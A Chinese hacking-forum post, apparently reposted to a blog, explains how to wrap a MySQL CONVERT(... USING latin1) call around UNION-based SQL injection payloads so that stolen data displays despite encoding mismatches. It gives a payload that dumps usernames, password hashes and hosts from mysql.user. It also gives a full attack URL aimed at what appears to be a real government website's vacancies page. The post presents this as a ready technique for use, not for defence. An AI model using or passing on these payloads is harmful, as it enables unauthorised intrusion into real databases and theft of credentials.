再谈联合查询注入字段间编码不同无法显示内容问题

作者:小D
来自:Silic Group Hacker Army
转载请注明:http://blackbap.org
首先我们来看这样的一个文章:简单搞定联合查询注入字段间编码不同无法显示内容问题
http://bbs.blackbap.org/thread-1646-1-1.html

这种EUC日本语言的网站用hex无可非议,但是如果遇到utf-8编码和lang=en啊西欧啊什么的不兼容,这样hex来unhex去的,相当麻烦。其实在俄罗斯黑客那里还有个更简单的方法。当然,函数还是函数,函数都是MySQL的,要看你怎么用了。
函数名称:convert()
作用:转换编码格式
在MySQL的编码格式中,有这么几种:gb2312和utf-8(当然还有,国内基本没有用的),还有一个默认的Latin1
如果显示位能显示数字,却无法显示user()(判断编码不同这个问题我就不重复了。。。),就可能是编码不同。这个时候用convert转换成latin1显示就行了。用法例如: 
  1. CONVERT(group_concat(DISTINCT+user,0x3a,password,0x3a,host)+USING+latin1)
复制代码
就这么简单。至于例子,自己找吧。convert也不是个难记的函数。转载请注明:http://blackbap.org
补充一个最痛快的例子,就是Mr.Cool原文章中的:
  1. http://www.gov.ai/vacancies/details.php?id=-1+UNION+SELECT+1,2,3,4,5,6,CONVERT(group_concat(DISTINCT+user,0x3a,password,0x3a,host)+USING+latin1)+from+mysql.user/*
复制代码
注入HEXMySQL
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值